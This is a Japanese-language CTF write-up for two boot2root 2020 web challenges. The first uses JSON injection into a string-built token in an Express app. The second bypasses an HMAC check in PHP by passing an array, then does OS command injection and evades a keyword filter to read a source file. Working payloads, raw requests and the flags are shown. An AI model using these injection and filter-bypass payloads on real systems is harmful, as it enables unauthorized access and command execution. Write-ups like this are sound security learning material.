boot2root 2020: Write up
Web
Dr Jason
const express = require('express'); const bodyParser = require('body-parser'); var cors = require('cors'); require('dotenv').config(); const app = express(); app.use(bodyParser.json({extended: false})); app.use(cors()); app.post('/flag',async (req,res)=>{ if (!req.body.name || typeof req.body.name !== 'string') { res.status(400).json({success: false, error: 'Invalid token'}); res.end(); return; } const name = req.body.name; var token = `{"admin":0,"name":"${name}"}` try{ token = JSON.parse(token); } catch{ res.json({success: false, error: 'Invalid token'}); res.end(); return; } if(token.admin === 1){ res.json({success: true, flag: process.env.FLAG}) } else{ res.json({success: false, error: 'You are not admin'}); } }) app.listen(3000)
POSTしてリクエストのbodyをname変数に代入して{"admin":0,"name":"${name}"}
に埋め込んでます。admin=1
であればflagがでてくる。
aaa","admin":1,"aa":"aa
をnameに代入するといい感じにadmin=1
になる。
POST /flag HTTP/1.1 Host: 67.205.134.115:46910 User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) Accept: */* Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://67.205.134.115:46911/ Content-Type: application/json Origin: http://67.205.134.115:46911 Content-Length: 40 Connection: close {"name":"aaa\",\"admin\":1,\"aa\":\"aa"}
{"success":true,"flag":"b00t2root{js0n_1nj3ct10n}"}
flag: b00t2root{js0n_1nj3ct10n}
Buggy PHP
<?php require('req.php'); ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); show_source("index.php"); if (empty($_GET['hash']) || empty($_GET['cmd']) || empty($_GET['tmp'])){ exit; } $key = getenv('KEY'); if(isset($_GET['tmp'])) $key = hash_hmac('sha256',$_GET['tmp'],$key); $hash = hash_hmac('sha256',$_GET['cmd'],$key); if ($hash !== $_GET['hash']) { echo "NO flag for you"; exit; } $cmd = preg_replace($filter, '', $_GET['cmd']); echo exec("cmd ".$cmd); ?>
hash_hmac関数になんかしら脆弱な仕様あったらいいなと思って調べたらでてきた。
これを参考にtmpパラメータに配列を渡すことによってkeyなしでハッシュ化してるのとおなじになる。つまり、OSコマンド実行したいコマンドをcmdパラメータに設定してそれをハッシュ化かしたものをhashパラメータに与えれば今回のHMACをbypassできる。
$ php index.php 83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395
http://165.22.179.69/?hash=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&tmp[]=&cmd=;dir
Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14 index.php req.php
http://165.22.179.69/?hash=73151c410bd57749e919171f0480a238d3137148b7f589f8db2975474860231c&tmp[]=&cmd=;echo%20%27cat%20req.php%27
で確認すると
Warning: hash_hmac() expects parameter 2 to be string, array given in /var/www/html/index.php on line 14 req.
上記のようにechoを利用してfilterされてる文字列を確認していきbypassするように文字列を組み合わせると;ccatat req.p?p|babase64se64
でreq.php
の中身をbase64でエンコードした結果が得られる。
$ echo -n 'YjAwdDJyb290e0J1OTl5X3BIcF9DaDRsbDNuOTNzfSc7Cj8' | base64 -d b00t2root{Bu99y_pHp_Ch4ll3n93s}';
flag: b00t2root{Bu99y_pHp_Ch4ll3n93s}